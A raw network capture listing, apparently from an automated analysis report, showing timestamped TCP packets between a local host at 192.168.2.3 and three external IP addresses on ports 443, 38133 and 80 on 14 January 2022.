Jan 14, 2022 04:59:52.453301907 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.458127022 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.458180904 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.458236933 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.458256960 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.458286047 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.458313942 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.465042114 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.465138912 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.465157032 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.465184927 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.465234041 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.465282917 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.465730906 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.465780020 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.465822935 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.465837955 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.465858936 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.465893030 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.466079950 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.466120005 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.466169119 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.466178894 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.466213942 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.466239929 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.466629028 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.466667891 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.466746092 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.466763020 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.466816902 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.467027903 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467101097 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467111111 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.467123985 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467174053 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.467398882 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467437029 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467478991 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.467488050 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467509985 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.467539072 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.467767000 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467837095 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467852116 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.467861891 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.467909098 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.468188047 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.468224049 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.468275070 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.468290091 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.468316078 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.468334913 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.470731974 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.470776081 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.470860004 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.470880985 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.470895052 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.472297907 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.477032900 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.477072954 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.477132082 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.477150917 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.477209091 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.477237940 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.482242107 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.482281923 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.482387066 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.482430935 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.526695967 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.526721954 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.526747942 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.526866913 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.526880026 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.526946068 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.526954889 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.526998997 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527003050 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527039051 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527038097 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527069092 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527079105 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527117014 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527129889 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527139902 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527170897 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527189016 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527194023 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527208090 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527241945 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527261019 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527272940 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527285099 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527332067 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527349949 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527360916 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527404070 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527426004 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527436018 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527494907 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527496099 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527542114 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527549982 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527611017 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527656078 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527811050 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527851105 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527894974 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527904034 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.527925968 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.527960062 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528018951 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528038979 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528048992 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528109074 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528119087 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528137922 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528192043 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528202057 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528232098 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528244972 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528279066 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528315067 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528323889 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528354883 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528408051 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528445005 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528477907 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528486013 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528512001 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528559923 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528594017 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528633118 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528642893 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528659105 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528712034 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528759956 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528795004 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528803110 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528832912 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528836012 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528873920 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528908014 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.528917074 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.528959990 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.530390024 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.530426025 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.530491114 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.530507088 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.530515909 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.544437885 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.544483900 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.544524908 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.544547081 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.544584036 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.551326036 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.551374912 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.551424026 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.551445961 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.551455021 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.551585913 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.551623106 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.551661968 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.551672935 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.551697969 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.551981926 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552018881 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552052975 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.552062988 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552087069 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.552357912 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552392960 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552428961 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.552438021 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552454948 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.552469015 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552527905 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.552540064 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552586079 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.552738905 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.707628965 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.707953930 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 04:59:52.714760065 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.789546967 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 04:59:52.897331953 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.897372961 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:52.897416115 CET	49884	443	192.168.2.3	144.76.136.153
Jan 14, 2022 04:59:52.897428989 CET	443	49884	144.76.136.153	192.168.2.3
Jan 14, 2022 04:59:53.001404047 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 04:59:54.211337090 CET	49889	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.267398119 CET	80	49889	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.267496109 CET	49889	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.267643929 CET	49889	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.267664909 CET	49889	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.323529005 CET	80	49889	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.349613905 CET	80	49889	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.349731922 CET	49889	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.349951029 CET	49889	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.375508070 CET	49890	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.406071901 CET	80	49889	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.431231976 CET	80	49890	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.433007002 CET	49890	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.433096886 CET	49890	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.434848070 CET	49890	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.489151955 CET	80	49890	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.490525961 CET	80	49890	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.518030882 CET	80	49890	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.518234968 CET	49890	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.518625021 CET	49890	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.574352980 CET	80	49890	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.602189064 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 04:59:54.633873940 CET	38133	49886	86.107.197.138	192.168.2.3
Jan 14, 2022 04:59:54.814133883 CET	49886	38133	192.168.2.3	86.107.197.138
Jan 14, 2022 04:59:54.853065968 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.909972906 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.911062002 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.911113024 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.975795984 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.975855112 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.975894928 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.975934029 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.975972891 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.976011992 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.976020098 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.976049900 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.976051092 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.976090908 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.976115942 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.976130962 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.976138115 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:54.976169109 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:54.976874113 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.032633066 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032690048 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032728910 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032768011 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032802105 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.032804966 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032839060 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.032847881 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032890081 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032926083 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032963037 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.032968998 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.032984018 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.033010960 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033049107 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033086061 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.033087015 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033129930 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033169985 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033188105 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.033214092 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033248901 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.033251047 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033291101 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033309937 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.033329964 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033368111 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033406019 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.033420086 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.033463001 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.089962959 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090023041 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090065002 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090105057 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090142965 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090183020 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090192080 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090221882 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090223074 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090262890 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090292931 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090303898 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090317965 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090342999 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090382099 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090420008 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090456009 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090488911 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090495110 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090532064 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090570927 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090574980 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090610981 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090641022 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090647936 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090687990 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090724945 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090725899 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090761900 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090785027 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090801001 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090838909 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090878963 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090918064 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090922117 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090956926 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.090986013 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.090996027 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091027975 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.091036081 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091073990 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091089964 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.091113091 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091151953 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091188908 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091228962 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091253042 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.091264963 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091306925 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091311932 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.091346025 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091398954 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091402054 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.091461897 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091509104 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.091543913 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.091548920 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.093349934 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.148210049 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.148255110 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.148292065 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.148329973 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.148344040 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.148369074 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.148386955 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.148407936 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.148458958 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.154613018 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154671907 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154711962 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154752016 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154768944 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.154793024 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154829979 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154854059 CET	49891	80	192.168.2.3	94.142.143.91
Jan 14, 2022 04:59:55.154870987 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154908895 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154948950 CET	80	49891	94.142.143.91	192.168.2.3
Jan 14, 2022 04:59:55.154957056 CET	49891	80	192.168.2.3	94.142.143.91
